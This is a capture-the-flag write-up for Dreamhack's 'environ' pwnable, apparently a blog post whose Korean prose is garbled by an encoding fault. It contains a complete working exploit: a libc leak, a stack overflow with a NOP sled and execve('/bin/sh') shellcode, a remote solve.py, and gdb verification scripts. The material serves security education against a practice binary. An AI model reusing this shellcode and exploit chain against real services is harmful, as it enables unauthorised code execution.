# ์ ๋ ์ฃผ์๋ ๋งค๋ฒ ๋ฌ๋ผ์ง์ง๋ง ๊ฑฐ๋ฆฌ๋ ์ ๋ณํด์ผ ์ต์ค๊ฐ ์ฑ๋ฆฝํ๋ค.
set -eu
cd "$(dirname "$(readlink -f "$0")")"
for n in 0 64 512 4096; do
PAD=$(python3 -c "print('A'*$n)")
printf 'PAD=%-5s๋ฐ์ดํธ -> ' "$n"
docker run --rm --cap-add=SYS_PTRACE --security-opt seccomp=unconfined \
-e PAD="$PAD" -v "$PWD:/home/environ" -w /home/environ environ31:local \
gdb -q -batch -x measure.gdb ./environ 2>/dev/null \
| grep -E 'ENVIRON_VAL|DISTANCE' | tr '\n' ' '
echo
done./check_dist.sh
ENVIRON_VAL ์ 0x7fffffffed48 ์์ 0x7fffffffdd48 ๊น์ง 4KB ๋๊ฒ ์์ง์ด๋๋ฐ DISTANCE ๋ ๋ค ๋ฒ ๋ค 280 ์ด๋ค. ๊ฑฐ๋ฆฌ๋ฅผ ์์๋ก ๋ฐ์๋ ๋๋ค.
๊ทธ๋๋ ์๊ฒฉ์ ํ๊ฒฝ์ด ๋ค๋ฅด๋ ์ฌ์ ๋ฅผ ๋๋ ๊ฒ ๋ง๋ค. ์ฐ๋งค๋ฅผ 0x118 ๋ฑ ๋ง์ถฐ ๋๋ด์ง ์๊ณ 0x100 ์ ๋ ๋ถ์ฌ 0x218 ๋ก ์ก์๋ค. ์ฐฉ์ง์ ์ด ์์๋ณด๋ค ์์ด๋ ๋ค๋ 0x218 ์์๋ง ๋ค์ด์ค๋ฉด ์
ธ์ฝ๋๊น์ง ๋ฏธ๋๋ฌ์ง๋ค.
๊ทธ๋ฆผ์ผ๋ก ์ ๋ฆฌ
![ํด๋ฆญํ์ฌ ํ๋ ์คํ ๋ฐฐ์น๋ โ buf ์์ ์๋ก read ๊ฐ ๋ฎ์ด ๋๊ฐ๊ณ environ ์ด ๊ฐ๋ฆฌํค๋ envp[0] ๊ฐ buf+0x118 ์ ๋์ธ๋ค](/_next/image?url=%2Fimages%2Fblog%2Fdreamhack-environ-shellcode-writeup%2F08_stack_map.png&w=3840&q=75)
ํ์ด๋ก๋๋ NOP ร 0x218 + ์
ธ์ฝ๋ 48๋ฐ์ดํธ = 584๋ฐ์ดํธ๋ค. buf ์์ ์์ํด buf+0x118 ์ envp[0] ์ ์ง๋ buf+0x218 ๋ถํฐ ์
ธ์ฝ๋๊ฐ ๋์ธ๋ค. call rdx ๊ฐ buf+0x118 ๋ก ๋ฐ๋ฉด nop ์ 256๊ฐ ์ง๋ ์
ธ์ฝ๋์ ๋ฟ๋๋ค.
์ค๊ฐ์ ์นด๋๋ฆฌ์ ๋ฆฌํด ์ฃผ์, __libc_start_main ํ๋ ์์ด ํต์งธ๋ก ๋ญ๊ฐ์ง์ง๋ง ์๊ด์๋ค. ๋์๊ฐ ์ผ์ด ์๋ค.
๐งช ๋ก์ปฌ ์ฌํ ํ๊ฒฝ
๋ผ์ด๋ธ ์๋ฒ๋ VM ํฌ๋ ๋ง์ ์ฐ๊ณ 60์ด ์๋๋ ์๋ค. ์๊ฒฉ์ ๋ถ์ด์ ํ๋ผ๋ฏธํฐ๋ฅผ ๋ฐ๊ฟ ๊ฐ๋ฉฐ ์ฐ๋ฌ ๋ณด๋ ๊ฑด ๋ญ๋น๋ผ, ๊ฐ์ ํ๊ฒฝ์ ๋ก์ปฌ์ ๋ง๋ค๊ณ ๊ฑฐ๊ธฐ์ ๋ค ๋๋ด๊ธฐ๋ก ํ๋ค.
Ubuntu 16.04 ์ด๋ฏธ์ง์ ๋ฐฐํฌ๋ libc ๋ฅผ ์น๊ณ socat ์ผ๋ก ์๋น์ค๋ฅผ ํ๋ด ๋ธ๋ค.
FROM ubuntu:16.04
RUN apt-get update && apt-get install -y socat gdb python3 && rm -rf /var/lib/apt/lists/*
WORKDIR /home/environ
ENV LD_LIBRARY_PATH=/home/environ
COPY environ /home/environ/environ
COPY libc.so.6 /home/environ/libc.so.6
RUN chmod +x /home/environ/environ && echo 'DH{LOCAL_DUMMY_FLAG_NOT_REAL}' > /home/environ/flag
EXPOSE 31337
CMD ["socat", "-T", "120", "TCP-LISTEN:31337,reuseaddr,fork", "EXEC:/home/environ/environ"]ENV LD_LIBRARY_PATH=/home/environ ๊ฐ ํต์ฌ์ด๋ค. ์ปจํ
์ด๋ ์์ฒด glibc ๋ 2.23 ์ด์ง๋ง ๋ง์ด๋ ๋น๋๊ฐ ๋ค๋ฅด๋ฉด environ ์คํ์
์ด ์ด๊ธ๋ ์ ์๋ค. ๋ฐฐํฌ๋ libc ๋ฅผ ๊ฐ์ ๋ก ๋ฌผ๋ ค์ผ ๋ก์ปฌ์์ ์ฐ ๊ฐ์ด ์๊ฒฉ์์๋ ๋ง๋๋ค.
EXEC: ์ pty ๋ฅผ ๋ถ์ด์ง ์์ ๊ฒ๋ ์๋์ ์ด๋ค. pty ๋ฅผ ๋ผ์ฐ๋ฉด ํฐ๋ฏธ๋ ๋ผ์ธ ๋์ํ๋ฆฐ์ด ๋ถ์ด์ ์
ธ์ฝ๋ ๋ฐ์ดํธ ์ค 0x0d ๋ 0x03 ๊ฐ์ ๊ฒ ๋ณํยทํด์๋ผ ๋ฒ๋ฆฐ๋ค. ๋ฐ์ด๋๋ฆฌ ํ์ด๋ก๋๋ฅผ ๋ณด๋ผ ๋ ํ์ดํ์ฌ์ผ ํ๋ค.
docker build -t environ31:local work/
docker run -d --rm --name environ31_test -p 31337:31337 environ31:localscanf ๊ฐ ๋จ๊ธด ๊ฐํ์ ์ด๋๋ก ๊ฐ๋
scanf("%ld", &size) ๋ค์์ ๊ณง๋ฐ๋ก read(0, buf, size) ๊ฐ ์จ๋ค. ๋ณดํต ์ด๋ฐ ์ฝ๋๋ ๊ฐํ ํ๋๊ฐ ๋จ์์ ๋ค์ ์
๋ ฅ์ ์ฒซ ๋ฐ์ดํธ๋ฅผ ๋จน๋๋ค. ๊ทธ๋ฌ๋ฉด ์ฐ๋งค๊ฐ 1๋ฐ์ดํธ ๋ฐ๋ฆฌ๊ณ ๊ฑฐ๋ฆฌ ๊ณ์ฐ์ด ์ด๊ธ๋๋ค.
์ฌ๊ธฐ์๋ ์ ๊ทธ๋ฐ๋ค. initialize() ๊ฐ setvbuf(stdin, NULL, _IONBF, 0) ๋ก stdin ์ ๋ฒํผ๋ง ์์ด ๋ง๋ค์ด ๋จ๊ธฐ ๋๋ฌธ์ด๋ค. ๋ฒํผ๊ฐ ์์ผ๋ฉด scanf ๋ read(0, ..., 1) ๋ก ํ ๋ฐ์ดํธ์ฉ ์ฝ์ด ๋ค์ด๊ณ , ์ซ์๊ฐ ๋๋ฌ๋ค๋ ๊ฑธ ์๋ ค๊ณ ์ฝ์ ๊ฐํ์ FILE ๊ตฌ์กฐ์ฒด ์์ชฝ์ผ๋ก ๋ฐ์ด ๋ฃ๋๋ค. ์ปค๋์ ์์ผ ๋ฒํผ์๋ ์ ๋๋ ค์ค๋ค.
๊ทธ ๋ค์ read ๋ FILE ์ ๊ฑฐ์น์ง ์๋ ์์คํ
์ฝ์ด๋ผ ๊ทธ ๊ฐํ์ ๋ชป ๋ณธ๋ค. ๊ฒฐ๊ณผ์ ์ผ๋ก ๋ด ํ์ด๋ก๋ ์ฒซ ๋ฐ์ดํธ๊ฐ buf[0] ์ ์ ํํ ๋จ์ด์ง๋ค. ์์์ ์ฐ 0x118 ์ ๊ทธ๋๋ก ์ธ ์ ์๋ ์ด์ ๋ค.
ํ ๊ฐ์ง ๋. read ๋ ์์ฒญํ ๋งํผ ๋ค ์ฑ์ธ ๋๊น์ง ๊ธฐ๋ค๋ฆฌ์ง ์๊ณ ๋์ฐฉํ ๋งํผ๋ง ๋ฐํํ๋ค. ํ์ด๋ก๋๊ฐ TCP ์ธ๊ทธ๋จผํธ ๋ ๊ฐ๋ก ์ชผ๊ฐ์ ธ ๋์ฐฉํ๋ฉด ์๋ถ๋ถ๋ง ์ฝํ๊ณ ๋๋จธ์ง๊ฐ ๋ค์ scanf ๋ก ํ๋ฌ ๋ค์ด๊ฐ๋ค. 584๋ฐ์ดํธ๋ฉด ํ ์ธ๊ทธ๋จผํธ์ ๋ค์ด๊ฐ๋ ํฌ๊ธฐ๋ผ ์ค์ ๋ก๋ ๋ฌธ์ ๊ฐ ์ ๋์ง๋ง, ์ฐ๋งค๋ฅผ ๋ช KB ๋ก ํค์ฐ๋ฉด ์ฌ๊ธฐ์ ๊นจ์ง ์ ์๋ค.
๐ง ๋ฐํ์ ๊ฒ์ฆ โ ์ ๋ง NOP ์์ ๋ด๋ ค์๋
๊ณ์ฐ์ ๋ง๋ ๊ฒ ๊ฐ์๋ฐ, call rdx ์๊ฐ์ rdx ๊ฐ ์ง์ง ์ฐ๋งค ์๋ฅผ ๊ฐ๋ฆฌํค๋์ง ๋์ผ๋ก ๋ด์ผ ๋ง์์ด ๋์ธ๋ค. gdb ๋ก ๊ทธ ์ง์ ์์ ๋ฉ์ถ๊ณ ์ฐฉ์ง์ ์ ๋ช
๋ น์ ๋์ค์ด์
๋ธํ๋ค.
gdb ์์์๋ ์ ์ถ์ ๋ชป ํ๋ ์
๋ ฅ์ ๋ฏธ๋ฆฌ ํ์ผ๋ก ๋ง๋ ๋ค. set disable-randomization on ์ด๋ฉด ์ปจํ
์ด๋ ์ libc ๋ฒ ์ด์ค๊ฐ 0x7ffff7a00000 ์ผ๋ก ๊ณ ์ ์ด๋ผ(์ measure.gdb ๋ก ํ์ธํ ๊ฐ) value ๋ฅผ ์์๋ก ๋ฃ์ ์ ์๋ค.
#!/usr/bin/env python3
"""
gdb ๋ก ์ฌํํ๊ธฐ ์ํ ์
๋ ฅ ํ์ผ ์์ฑ๊ธฐ.
gdb ๋ `set disable-randomization on` ์ด๋ผ ์ปจํ
์ด๋ ์์์ libc ๋ฒ ์ด์ค๊ฐ
0x7ffff7a00000 ์ผ๋ก ๊ณ ์ ๋๋ค(measure.gdb ๋ก ํ์ธํ ๊ฐ). ๊ทธ๋์ ์ ์ถ ๋จ๊ณ๋ฅผ
์๋ตํ๊ณ size / payload / value ๋ฅผ ํ์ผ ํ๋์ ๋ฏธ๋ฆฌ ๋ฃ์ด ๋ ์ ์๋ค.
python3 mkinput.py -> in_exploit.bin (NOP ์ฐ๋งค ์์, ์ ์ ์ต์ค)
python3 mkinput.py --no-sled -> in_nosled.bin (์ฐ๋งค ์์ด ์
ธ์ฝ๋๋ง)
"""
import sys
from pwn import asm, context, shellcraft
context.arch = "amd64"
LIBC_BASE = 0x7FFFF7A00000 # gdb + disable-randomization ๊ณ ์ ๊ฐ
ENVIRON_OFF = 0x3C6F38
BUF2ENVP = 0x118
no_sled = "--no-sled" in sys.argv
sled = 0 if no_sled else BUF2ENVP + 0x100
out = "in_nosled.bin" if no_sled else "in_exploit.bin"
payload = b"\x90" * sled + asm(shellcraft.amd64.linux.sh())
blob = b"%d\n" % len(payload) + payload + b"%d\n" % (LIBC_BASE + ENVIRON_OFF)
with open(out, "wb") as f:
f.write(blob)
print("%s: sled=%d payload=%d value=%#x" % (out, sled, len(payload), LIBC_BASE + ENVIRON_OFF))# landing.gdb
set confirm off
set pagination off
set disable-randomization on
break *0x400956
run < in_exploit.bin
python
rdx = int(gdb.parse_and_eval("$rdx"))
buf = int(gdb.parse_and_eval("$rbp")) - 0x20
print("[call rdx ์ง์ ] ์ฐฉ์ง์ rdx = 0x%x = buf + 0x%x" % (rdx, rdx - buf))
print("--- ์ฐฉ์ง์ ์์ 6๊ฐ ๋ช
๋ น (NOP ์ฐ๋งค) ---")
gdb.execute("x/6i $rdx")
print("--- ์ฐ๋งค 0x100 ๋ค = execve ์
ธ์ฝ๋ ---")
gdb.execute("x/9i $rdx + 0x100")
end
quitpython3 mkinput.py
docker run --rm --cap-add=SYS_PTRACE --security-opt seccomp=unconfined -v "$PWD:/home/environ" -w /home/environ environ31:local gdb -q -batch -x landing.gdb ./environ
rdx = buf + 0x118 ๋ก ์ ํํ ๋ง๊ณ , ๊ทธ ์ฃผ์๋ถํฐ nop ์ด ์ฌ์ฏ ๊ฐ ์ฐ๋ฌ์ ๋์จ๋ค. 0x100 ๋ค์๋ pushq $0x68 / movabs $0x732f2f2f6e69622f,%rax ๋ก ์์ํ๋ pwntools ์
ธ์ฝ๋๊ฐ ๊ทธ๋๋ก ์์ ์๋ค. /bin///sh ๋ฌธ์์ด์ ์คํ์ ๋ฐ์ด ๋ฃ๊ณ execve ๋ฅผ ๋ถ๋ฅด๋ ์ฝ๋๋ค.
์์ ๋ง๋ค๋ฅธ ๊ธธ 2์ ๊ฐ์ ํ๋ฉด์ ๊ฐ์ ๋ฐฉ์์ผ๋ก ์ฐ์ ๊ฒ์ด๋ผ, ์ฐ๋งค ํ๋ ๋ฃ๊ณ ๋บ ์ฐจ์ด๊ฐ ๊ทธ๋๋ก ๋๋ฌ๋๋ค.
๐ง ์คํ ์์์ ๋๋ 48๋ฐ์ดํธ
์ฐ๋งค ๋์ ๋ถ์ธ ์ ธ์ฝ๋๋ pwntools ๊ฐ ๋ฝ์ ์ค ๊ฒ์ ๊ทธ๋๋ก ์ผ๋ค. ์ด๋ค ์ฝ๋์ธ์ง๋ ์๊ณ ์ฐ๋ ๊ฒ ๋ซ๋ค.
from pwn import asm, context, disasm, shellcraft
context.arch = "amd64"
print(shellcraft.amd64.linux.sh())
print(disasm(asm(shellcraft.amd64.linux.sh()))) /* execve(path='/bin///sh', argv=['sh'], envp=0) */
push 0x68
mov rax, 0x732f2f2f6e69622f
push rax
mov rdi, rsp
push 0x1010101 ^ 0x6873
xor dword ptr [rsp], 0x1010101
xor esi, esi
push rsi
push 8
pop rsi
add rsi, rsp
push rsi
mov rsi, rsp
xor edx, edx
push SYS_execve /* 0x3b */
pop rax
syscall0x732f2f2f6e69622f ์ ๋ฆฌํ์๋์ธ์ผ๋ก ์ฝ์ผ๋ฉด /bin///s ๋ค. ์์ push 0x68 ์ด h ์ ๋ 7๋ฐ์ดํธ๋ฅผ ์ฌ๋ ค ๋์ผ๋ ๋ push ๋ฅผ ํฉ์น๋ฉด /bin///sh ๋ฌธ์์ด์ด ์คํ์ ์์ฑ๋๊ณ , rdi ๊ฐ ๊ทธ ์์์ ๊ฐ๋ฆฌํจ๋ค. ์ฌ๋์๋ฅผ ์ธ ๊ฐ ๊ฒน์น ๊ฑด 8๋ฐ์ดํธ ์ ๋ ฌ์ ๋ง์ถ๋ ค๋ ๊ฒ๋ฟ์ด๊ณ ๊ฒฝ๋ก ์๋ฏธ๋ /bin/sh ์ ๊ฐ๋ค.
argv ๋ ๊ฐ์ ์์ผ๋ก ๋ง๋ ๋ค. sh\0 ์ XOR ๋ก ๋ ์์ด ๋ฐ์ด ๋ฃ๊ณ , ๊ทธ ์ฃผ์๋ฅผ ๋ด์ ํฌ์ธํฐ ๋ฐฐ์ด์ ์คํ์ ์ฌ๋ ค rsi ๋ก ์ก๋๋ค. rdx ๋ 0 ์ด๋ envp ๋ ๋น์ด ์ฑ๋ก execve ๋ฅผ ํธ์ถํ๋ค.
0: 6a 68 push 0x68
2: 48 b8 2f 62 69 6e 2f 2f 2f 73 movabs rax, 0x732f2f2f6e69622f
c: 50 push rax
d: 48 89 e7 mov rdi, rsp
10: 68 72 69 01 01 push 0x1016972
15: 81 34 24 01 01 01 01 xor DWORD PTR [rsp], 0x1010101
1c: 31 f6 xor esi, esi
1e: 56 push rsi
1f: 6a 08 push 0x8
21: 5e pop rsi
22: 48 01 e6 add rsi, rsp
25: 56 push rsi
26: 48 89 e6 mov rsi, rsp
29: 31 d2 xor edx, edx
2b: 6a 3b push 0x3b
2d: 58 pop rax
2e: 0f 05 syscall๊ธฐ๊ณ์ด์ ๋๋ฐ์ดํธ๊ฐ ํ๋๋ ์๋ค. ์ด ๋ฌธ์ ๋ read ๋ก ๋ฐ์ผ๋ ๋์ด ์์ด๋ ์๊ด์์ง๋ง ๊ธฐ๋ณธ๊ฐ์ด ๊ทธ๋ ๊ฒ ๋์จ๋ค.
์ฌ๊ธฐ์ ํ ๊ฐ์ง ๊ฑธ๋ฆด ๋งํ ๊ฒ ์๋ค. ์
ธ์ฝ๋๊ฐ push ๋ฅผ ์ฌ๋ฌ ๋ฒ ํ๋๋ฐ, ๊ทธ๊ฒ ๋ฐฉ๊ธ ๊น์ ๋ ์ฐ๋งค๋ฅผ ๋ฐ์ง ์์๊น. ์ ๋ฐ๋๋ค. main ์ sub rsp,0x40 ์ผ๋ก ํ๋ ์์ ์ก์์ผ๋ rsp ๋ rbp-0x40 ์ด๊ณ , buf ๋ rbp-0x20 ์ด๋ค. push ๋ rsp ๋ฅผ ๋ ๋ฎ์ถ๋ ๋ฐฉํฅ์ด๋ผ buf ๋ณด๋ค ์๋๋ก๋ง ์๋๋ค. ์ฐ๋งค์ ์
ธ์ฝ๋๋ buf ์์ชฝ 500๋ฐ์ดํธ ๋๊ฒ ๋ป์ด ์์ผ๋ ์๋ก ์ ๋ง๋๋ค.
๋ง์ง๋ง์ผ๋ก initialize() ์ alarm(60) ์ด ์๋ค. 60์ด ์์ ์
ธ์ ์ก๊ณ flag ๋ฅผ ์ฝ์ด์ผ ํ๋๋ฐ, ์ต์ค๊ฐ ์๋ณต ์ธ ๋ฒ์ด๋ฉด ๋๋๋ ์ฌ์ ๋กญ๋ค. ๋ค๋ง ์
ธ์ ์ก์ ๋ค ์์ผ๋ก ํ์ํ๋ค ๋ณด๋ฉด ๊ฑธ๋ฆฐ๋ค. solve.py ๊ฐ cat flag ๊น์ง ์๋์ผ๋ก ๋ณด๋ด๋ ์ด์ ๋ค.
๐ Full Exploit
๋ผ์ด๋ธ ์๋ฒ์์๋ ์ ์ถ์ ํด์ผ ํ๋ gdb ๋์ ๋ฌ๋ฆฌ value ๋ฅผ ๋ฐํ์์ ๊ณ์ฐํ๋ค. ํ๋ฆ์ ์ธ ์ค์ด๋ค. ์ ์ถ๋ก ๋ฒ ์ด์ค๋ฅผ ์ก๊ณ , ์ฐ๋งค์ ์
ธ์ฝ๋๋ฅผ ๋ฐ์ด ๋ฃ๊ณ , libc + environ ์ ๋์ง๋ค.
#!/usr/bin/env python3
"""
environ (Dreamhack wargame id=31, Bronze 2 / pwnable)
printf("stdout: %p") -> libc ๋ฒ ์ด์ค ์ ์ถ
scanf("%ld", &size) -> read ๊ธธ์ด๋ฅผ ๊ณต๊ฒฉ์๊ฐ ์ ํจ
read(0, buf, size) -> buf[16] ์์ชฝ์ผ๋ก ์คํ ์ ์ฒด๋ฅผ ๋ฎ์ด์
jump = *(long*)value; jump();
-> ์์ ์ฃผ์ 8๋ฐ์ดํธ๋ฅผ ์ฝ์ด ๊ทธ ๊ฐ์ผ๋ก call
value ์ libc ์ environ ์ ๋ฃ์ผ๋ฉด jump ๋ &envp[0](์คํ ์ฃผ์)๊ฐ ๋๋ค.
NX ๊ฐ ์์ด ์คํ์ด ์คํ ๊ฐ๋ฅํ๋ฏ๋ก, ๊ทธ ์ง์ ์ ๋ฏธ๋ฆฌ NOP ์ฐ๋งค๋ก ๋ฎ์ด ๋๋ฉด
call ์ด ์ฐ๋งค๋ฅผ ํ๊ณ ๋ด๋ ค์ ๋ค์ ๋ถ์ธ execve("/bin/sh") ์
ธ์ฝ๋๋ฅผ ์คํํ๋ค.
์ฌ์ฉ๋ฒ:
python3 solve.py # ๋ก์ปฌ ๋์ปค(127.0.0.1:31337)
python3 solve.py host3.dreamhack.games:14523
"""
import re
import sys
from pwn import ELF, asm, context, log, remote, shellcraft
context.arch = "amd64"
context.log_level = "info"
# ์ ๊ณต๋ libc.so.6 = Ubuntu GLIBC 2.23-0ubuntu11 (Ubuntu 16.04)
STDOUT_OFF = 0x3C5620 # _IO_2_1_stdout_
ENVIRON_OFF = 0x3C6F38 # environ
# main: buf ๋ rbp-0x20. gdb ๋ก ์ค์ธกํ buf โ environ ์ด ๊ฐ๋ฆฌํค๋ &envp[0] ๊ฑฐ๋ฆฌ
BUF2ENVP = 0x118 # 280 ๋ฐ์ดํธ
SLED = BUF2ENVP + 0x100 # ์ฐฉ์ง์ ์๋ค๋ก ์ฌ์ ๋ฅผ ๋ NOP ์ฐ๋งค
def parse_target(argv):
if len(argv) < 2:
return "127.0.0.1", 31337
tgt = argv[1].replace("http://", "").replace("https://", "").rstrip("/")
host, _, port = tgt.partition(":")
return host, int(port)
def main():
host, port = parse_target(sys.argv)
shellcode = asm(shellcraft.amd64.linux.sh())
log.info("shellcode %d bytes", len(shellcode))
p = remote(host, port)
# 1) libc ๋ฒ ์ด์ค ์ ์ถ โ bss ์ stdout ํฌ์ธํฐ๊ฐ ๊ณง _IO_2_1_stdout_ ์ ์ฃผ์
p.recvuntil(b"stdout: ")
leak = int(p.recvline().strip(), 16)
libc_base = leak - STDOUT_OFF
environ_sym = libc_base + ENVIRON_OFF
log.success("stdout = %#x", leak)
log.success("libc base= %#x", libc_base)
log.success("&environ = %#x", environ_sym)
# 2) buf ๋ถํฐ &envp[0] ๋๋จธ๊น์ง NOP ์ฐ๋งค + ์
ธ์ฝ๋๋ก ๋ฎ๋๋ค
payload = b"\x90" * SLED + shellcode
p.sendlineafter(b"Size: ", str(len(payload)).encode())
p.sendafter(b"Data: ", payload)
# 3) jump = *(long*)&environ = &envp[0] โ ์ฐ๋งค ์ฐฉ์ง โ ์
ธ
p.sendlineafter(b"*jmp=", str(environ_sym).encode())
p.sendline(b"echo SHELL_OK; cat flag")
out = p.recvrepeat(3)
sys.stdout.write(out.decode(errors="replace"))
m = re.search(rb"DH\{[^}\n]*\}", out)
if m:
log.success("FLAG: %s", m.group().decode())
else:
log.failure("flag ๋ฅผ ๋ชป ์ฐพ์")
p.close()
if __name__ == "__main__":
main()sendlineafter(b"Size: ", ...) ๋ก ๊ธธ์ด๋ฅผ ๋ณด๋ด๊ณ , sendafter(b"Data: ", payload) ๋ ๊ฐํ์ ์ ๋ถ์ธ๋ค. ๊ฐํ์ด ๋ถ์ผ๋ฉด ํ์ด๋ก๋๊ฐ 1๋ฐ์ดํธ ๊ธธ์ด์ง ๋ฟ์ด์ง๋ง ๊ตณ์ด ๋ถ์ผ ์ด์ ๊ฐ ์๋ค.
value ๋ scanf("%ld") ๋ก ์ฝํ๋ 10์ง์ ๋ฌธ์์ด๋ก ๋ณด๋ธ๋ค. libc + 0x3c6f38 ์ 0x7f... ๋์ญ์ด๋ผ ๋ถํธ ์๋ 64๋นํธ์ ๋ค์ด๊ฐ๋ค.
๋จผ์ ๋ก์ปฌ ์ปจํ ์ด๋์ ์๋ค.
python3 solve.py 127.0.0.1:31337
SHELL_OK ๊ฐ ๋์์ค๊ณ ์ปจํ
์ด๋์ ์ฌ์ด ๋ ๋๋ฏธ flag ๊ฐ ๋์จ๋ค. ์
ธ์ด ์กํ๋ค๋ ๊ฒ๊น์ง ํ์ธํ์ผ๋ ์ด์ ๋ผ์ด๋ธ๋ก ๊ฐ๋ค.
python3 solve.py host3.dreamhack.games:18193
ํ ๋ฒ์ ๋ถ์๋ค. ๋ก์ปฌ์์ ์ฐ 0x118 ์ด ์๊ฒฉ์์๋ ๊ทธ๋๋ก ๋ง์๋ค.
DH{209478d89c920b8dfe2dee61f9bc1dcc}๐งพ ์ฌํ
๋ฌธ์ ํด๋๋ง ์์ผ๋ฉด flag ํ์ธ๊น์ง ํ ๋ฒ์ ๋์๊ฐ๊ฒ ์คํฌ๋ฆฝํธ๋ฅผ ๋จ๊ฒจ ๋๋ค.
#!/usr/bin/env bash
# environ (Dreamhack wargame id=31, Bronze 2) โ ํ ๋ฐฉ ์ฌํ.
#
# ./reproduce.sh ๋ก์ปฌ ubuntu:16.04 ์ปจํ
์ด๋์์ ์ต์ค ๋์ ๊ฒ์ฆ
# ./reproduce.sh host3.dreamhack.games:PORT ๋ผ์ด๋ธ ์๋ฒ์์ ์ง์ง flag
#
# โ ๏ธ ์ธ์ ์์ด ๋๋ฆฌ๋ฉด ๋์ค๋ flag ๋ ์ปจํ
์ด๋์ ์ฌ์ด ๋ ๋๋ฏธ๋ค.
# "์ต์ค๊ฐ ์ค์ ๋ก ์
ธ์ ์ก๋๋ค"๊น์ง๋ง ์ฆ๋ช
ํ๋ค. ์ง์ง flag ๋ ๋ผ์ด๋ธ ์๋ฒ๊ฐ ์์ด์ผ ํ๋ค.
set -eu
cd "$(dirname "$(readlink -f "$0")")"
TARGET="${1:-}"
EXPECT=$(python3 -c "import json;print(json.load(open('๋ฌธ์ .json'))['flag'])" 2>/dev/null || echo '')
if [ -z "$TARGET" ]; then
echo "[*] ๋ก์ปฌ ์ฌํ โ ubuntu:16.04 + ๋ฐฐํฌ libc ๋ก socat ์๋น์ค๋ฅผ ๋์ด๋ค"
docker build -q -t environ31:local work/ >/dev/null
docker rm -f environ31_repro >/dev/null 2>&1 || true
docker run -d --rm --name environ31_repro -p 31337:31337 environ31:local >/dev/null
trap 'docker rm -f environ31_repro >/dev/null 2>&1 || true' EXIT
sleep 2
TARGET=127.0.0.1:31337
EXPECT='DH{LOCAL_DUMMY_FLAG_NOT_REAL}'
echo "[!] ๋ก์ปฌ flag ๋ ๋๋ฏธ๋ค โ ์ง์ง flag ๋ ๋ผ์ด๋ธ ์๋ฒ ์ฃผ์๋ฅผ ์ธ์๋ก ์ค์ผ ํ๋ค."
fi
OUT=$(timeout 120 python3 solve.py "$TARGET" 2>&1) || true
echo "$OUT" | tail -8
FLAG=$(printf '%s' "$OUT" | grep -aoE 'DH\{[^}]+\}' | head -1)
if [ -n "$FLAG" ] && { [ -z "$EXPECT" ] || [ "$FLAG" = "$EXPECT" ]; }; then
echo; echo "โ
PASS $FLAG"; exit 0
fi
echo; echo "โ FAIL (์ป์ ๊ฐ: '${FLAG:-์์}' / ๊ธฐ๋: '$EXPECT')"; exit 1์ธ์๋ฅผ ์ ์ฃผ๋ฉด ๋ก์ปฌ ์ปจํ ์ด๋๋ฅผ ๋์ ์ต์ค ๋์๋ง ๊ฒ์ฆํ๋ค. ์ด๋ ๋์ค๋ flag ๋ Dockerfile ์ ์ฌ์ ๋๋ฏธ๋ผ ์ง์ง๊ฐ ์๋๋ค. ์ง์ง flag ๋ ๋ผ์ด๋ธ ์๋ฒ ์ฃผ์๋ฅผ ์ธ์๋ก ๋๊ฒจ์ผ ๋์จ๋ค.
์ฑ๊ณต/์คํจ๋ ์ด๋ ๊ฒ ์ฝ๋๋ค.
| ํ๋ฉด | ๋ป |
|---|---|
stdout = 0x7f... ๊ฐ ์ ์ฐํ | ์๋ฒ ์ฐ๊ฒฐ์ด ์ ๋๊ฑฐ๋ ํฌํธ๊ฐ ๋ง๋ฃ๋๋ค |
SHELL_OK ์์ด ๋ฐ๋ก ์ข
๋ฃ | ์ฐฉ์ง์ ์ ๋ชป ๋ฎ์๋ค. BUF2ENVP ๋ฅผ ๋ค์ ์ฌ์ผ ํ๋ค |
SHELL_OK ๋ ๋์ค๋๋ฐ flag ๊ฐ ๋น ์ค | ์
ธ์ ์กํ๊ณ flag ํ์ผ ๊ฒฝ๋ก๋ง ๋ค๋ฅด๋ค. ls -al ๋ก ํ์ธ |
โ
PASS | ๋ |
libc ๊ฐ ๋ค๋ฅธ ํ๊ฒฝ(๋ค๋ฅธ Ubuntu ๋ฒ์ )์ผ๋ก ์ฌํํ ๊ฑฐ๋ผ๋ฉด offsets.py ๋ก _IO_2_1_stdout_ ๊ณผ environ ์คํ์
์ ๋ค์ ๋ฝ๊ณ , measure.gdb ๋ก ๊ฑฐ๋ฆฌ๋ ๋ค์ ์ฌ์ผ ํ๋ค. ์ด ๋ ๊ฐ์ด ์ด ์ต์ค์ ์ ๋ถ๋ค.
๐ ๊ฒฐ๋ก
์์์ ๊ฒน์๋ฅผ ๋จผ์ ์ธ๋ผ
jump = *(long *)value; jump(); ๋ ์์ ํธ์ถ์ฒ๋ผ ๋ณด์ด์ง๋ง ์ค์ ์์ ์ฝ๊ธฐ ํ ๊ฒน์ด ์์ ๋ถ์ด ์๋ค. ์ด ํ ๊ฒน ๋๋ฌธ์ "libc ๋ฒ ์ด์ค ์๋ฉด one_gadget"์ด๋ผ๋ ์ต์ํ ์์์ด ํต์งธ๋ก ๋งํ๋ค. ์ธ ์ ์๋ ๊ฑด ์ฃผ์๊ฐ ์๋๋ผ ์ฃผ์๊ฐ ๋ค์ด ์๋ ์นธ์ด๊ณ , ๊ทธ๋ฐ ์นธ์ด ๋ช ๊ฐ ์๋ค๋ ๊ฒ ๋ฌธ์ ์ ์ ๋ถ๋ค.
environ ์ ์คํ์ผ๋ก ๊ฐ๋ ์ ์ผํ ํ์ค ํต๋ก๋ค
libc ์์์ ์คํ์ ๊ฐ๋ฆฌํค๋ ์ ์ญ ํฌ์ธํฐ๋ ์ฌ์ค์ environ ๋ฟ์ด๋ค. ๋ณดํต์ ๊ฐ์ ์ฝ์ด ์คํ ์ฃผ์๋ฅผ ๊ตฌํ๋ ๋ฐ ์ฐ๋๋ฐ, ์ด ๋ฌธ์ ์ฒ๋ผ ๊ฐ์ ๋ชป ๋ณผ ๋๋ "๊ฑฐ๊ธฐ๊ฐ ์คํ ์ด๋๊ฐ"๋ผ๋ ์ฌ์ค๋ง์ผ๋ก ์ธ ์ ์๋ค. ์ ๋ ์ฃผ์ ๋์ ์๋ ๊ฑฐ๋ฆฌ๋ฅผ ์ฌ๋ ์ชฝ์ผ๋ก ๊ด์ ์ ๋ฐ๊พธ๋ฉด ์ ์ถ ์์ด๋ ์ฐฉ์ง๊ฐ ๋๋ค.
์์๋ก ๋ฐ๊ธฐ ์ ์ ๊ทธ ์์๊ฐ ์ ์์์ธ์ง ํ์ธํ๋ค
